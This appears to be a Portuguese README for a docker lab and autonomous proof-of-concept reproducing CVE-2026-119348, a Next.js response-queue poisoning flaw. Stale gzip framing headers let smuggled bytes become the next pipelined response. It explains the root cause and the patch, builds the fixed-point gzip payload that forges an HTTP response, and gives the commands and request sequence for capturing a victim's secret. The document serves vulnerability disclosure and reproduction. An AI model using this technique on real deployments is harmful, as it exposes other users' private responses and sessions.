
Docker dual-lab e PoC diferencial autónomo para CVE-2026-119348, uma falha de envenenamento da fila de respostas por enquadramento comprimido obsoleto em instâncias auto-hospedadas de Next.js.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (Moderado) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Produto: Vercel Next.js (next), auto-hospedado (next start)
Este repositório contém uma reprodução completa e determinística (laboratório docker + exploit autónomo) da vulnerabilidade de injeção e divulgação de respostas entre clientes corrigida na versão de segurança do Next.js de novembro de 2026. Não existia nenhum PoC público no momento em que este laboratório foi criado (verificado em 2026-11-20: pesquisa de repositório/código no GitHub pelos ids da CVE e da GHSA → 0 resultados).
O fetch do Node (undici) descomprime de forma transparente um corpo com content-encoding: gzip, mas
preserva os cabeçalhos originais da resposta, incluindo content-length: <compressed-size>.
Quando uma aplicação Next.js auto-hospedada devolve esse Response upstream obtido por fetch
inalterado — a partir de um route handler do App Router, de uma entrada da cache de fetch ou de um middleware
do runtime Node — as versões vulneráveis do Next reencaminham o enquadramento comprimido obsoleto para o
cliente enquanto transmitem o corpo mais longo e descomprimido:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
O Node.js grava bytes do corpo além do Content-Length declarado sem qualquer erro e mantém
a conexão keep-alive aberta. Qualquer proxy reverso HTTP/1.1 que enfileira requisições em pipeline
em uma conexão de backend compartilhada (a pré-condição indicada no advisory — por exemplo, HAProxy
http-reuse always, vários proxies baseados em Node.js) demultiplexa as respostas do backend estritamente
pelo enquadramento declarado. Os bytes excedentes são, portanto, interpretados como a próxima resposta na
fila:
| Branch | Vulnerável | Corrigida |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
Em vercel/next.js na tag v16.4.4:
packages/next/src/server/send-response.ts:24-70 — sendResponse() acrescenta todos
os cabeçalhos do Response do handler (apenas x-middleware-set-cookie é ignorado) e então
faz pipe do corpo decodificado. Os cabeçalhos content-length / content-encoding /
transfer-encoding repassados descrevem o corpo codificado que o undici já decodificou.packages/next/src/server/next-server.ts:2009-2012 — o loop de resposta do middleware ignora
apenas content-encoding, ainda copiando o content-length /
transfer-encoding obsoletos.packages/next/src/server/web/sandbox/sandbox.ts:23)
já removia esses três cabeçalhos — a falha estava nos caminhos do Node-runtime.Correção (v16.4.5, commit
2842833,
15.x: 848ec29):
ambos os caminhos de repasse agora descartam content-length, content-encoding e transfer-encoding
(FORBIDDEN_HEADERS), de modo que o Node.js enquadra o corpo decodificado corretamente com
transfer-encoding: chunked.
next start) — não afetado na plataforma Vercel.Response buscado e influenciado pelo atacante sem alterações (qualquer
padrão de repasse/relay: return fetch(url)), diretamente ou através do cache de fetch.Sem autenticação, sem interação do usuário.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
O payload upstream malicioso (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
com n escolhido de modo que n == len(gzip(P)) (um ponto fixo, n = 70 aqui, decodificado = 116 B).
Portanto, a aplicação emite uma resposta cujo Content-Length: 70 declarado cobre apenas o prefixo
A, e os 46 bytes finais são uma resposta HTTP forjada completamente formada.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py é autónomo (Python 3, apenas biblioteca padrão). Cada ronda coloca três pedidos em fila
na ligação de backend partilhada:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response